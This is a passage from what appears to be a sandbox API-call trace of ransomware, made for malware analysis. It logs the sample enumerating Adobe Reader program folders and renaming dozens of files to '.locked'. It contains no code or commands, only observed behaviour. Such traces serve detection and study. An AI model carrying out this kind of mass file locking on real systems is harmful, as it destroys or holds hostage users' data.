"c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\distribute_form.gif.locked"), dwFlags=0x2) returned 1 [0086.844] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_all.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_all.gif.locked"), dwFlags=0x2) returned 1 [0086.847] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_initiator.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_initiator.gif.locked"), dwFlags=0x2) returned 1 [0086.850] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\ended_review_or_form.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\ended_review_or_form.gif.locked"), dwFlags=0x2) returned 1 [0086.854] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\end_review.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\end_review.gif.locked"), dwFlags=0x2) returned 1 [0086.857] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_distributed.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_distributed.gif.locked"), dwFlags=0x2) returned 1 [0086.860] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_received.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_received.gif.locked"), dwFlags=0x2) returned 1 [0086.862] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_super.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_super.gif.locked"), dwFlags=0x2) returned 1 [0086.865] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\form_responses.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\form_responses.gif.locked"), dwFlags=0x2) returned 1 [0086.867] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\info.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\info.gif.locked"), dwFlags=0x2) returned 1 [0086.881] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\main.css"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\main.css.locked"), dwFlags=0x2) returned 1 [0086.885] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\open_original_form.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\open_original_form.gif.locked"), dwFlags=0x2) returned 1 [0086.887] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\pdf.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\pdf.gif.locked"), dwFlags=0x2) returned 1 [0086.891] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviewers.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviewers.gif.locked"), dwFlags=0x2) returned 1 [0086.894] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_joined.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_joined.gif.locked"), dwFlags=0x2) returned 1 [0086.897] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_sent.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_sent.gif.locked"), dwFlags=0x2) returned 1 [0086.900] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_super.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_super.gif.locked"), dwFlags=0x2) returned 1 [0086.903] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_browser.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_browser.gif.locked"), dwFlags=0x2) returned 1 [0086.906] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_email.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_email.gif.locked"), dwFlags=0x2) returned 1 [0086.909] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_same_reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_same_reviewers.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_same_reviewers.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_same_reviewers.gif.locked"), dwFlags=0x2) returned 1 [0086.913] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_shared.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_shared.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_shared.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_shared.gif.locked"), dwFlags=0x2) returned 1 [0086.915] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\rss.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\rss.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\rss.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\rss.gif.locked"), dwFlags=0x2) returned 1 [0086.917] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_issue.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_issue.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_issue.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_issue.gif.locked"), dwFlags=0x2) returned 1 [0086.921] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_lg.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_lg.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_lg.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_lg.gif.locked"), dwFlags=0x2) returned 1 [0086.923] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_ok.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_ok.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_ok.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_ok.gif.locked"), dwFlags=0x2) returned 1 [0086.926] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\stop_collection_data.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\stop_collection_data.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\stop_collection_data.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\stop_collection_data.gif.locked"), dwFlags=0x2) returned 1 [0086.929] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\submission_history.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\submission_history.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\submission_history.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\submission_history.gif.locked"), dwFlags=0x2) returned 1 [0086.933] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tl.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tl.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tl.gif.locked"), dwFlags=0x2) returned 1 [0086.935] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tr.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tr.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tr.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tr.gif.locked"), dwFlags=0x2) returned 1 [0086.938] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\trash.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\trash.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\trash.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\trash.gif.locked"), dwFlags=0x2) returned 1 [0086.941] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationinacrobat.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationinacrobat.gif.locked"), dwFlags=0x2) returned 1 [0086.944] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationintray.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInTray.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationintray.gif.locked"), dwFlags=0x2) returned 1 [0086.947] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationinacrobat.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationinacrobat.gif.locked"), dwFlags=0x2) returned 1 [0086.950] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationintray.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInTray.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationintray.gif.locked"), dwFlags=0x2) returned 1 [0086.953] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\warning.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\warning.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\warning.gif.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\warning.gif.locked"), dwFlags=0x2) returned 1 [0086.957] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6d13280, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6d13280, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0086.963] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6d13280, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6d13280, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0086.968] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x825910 [0086.985] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf.locked"), dwFlags=0x2) returned 1 [0086.989] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6d5f540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6d5f540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0086.991] GetFileType (hFile=0xd4) returned 0x1 [0086.992] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6d5f540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6d5f540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f3, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0086.994] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6d5f540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6d5f540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0087.000] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6d5f540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd6d5f540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f3, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0087.031] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt.locked"), dwFlags=0x2) returned 1 [0087.062] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt.locked"), dwFlags=0x2) returned 1 [0087.091] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt.locked"), dwFlags=0x2) returned 1 [0087.120] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt.locked"), dwFlags=0x2) returned 1 [0087.149] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_eg.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_eg.txt.locked"), dwFlags=0x2) returned 1 [0087.178] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_in.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IN.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_in.txt.locked"), dwFlags=0x2) returned 1 [0087.207] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_iq.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_iq.txt.locked"), dwFlags=0x2) returned 1 [0087.237] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_jo.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_jo.txt.locked"), dwFlags=0x2) returned 1 [0087.266] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_kw.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_kw.txt.locked"), dwFlags=0x2) returned 1 [0087.307] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt.locked"), dwFlags=0x2) returned 1 [0087.343] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ly.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 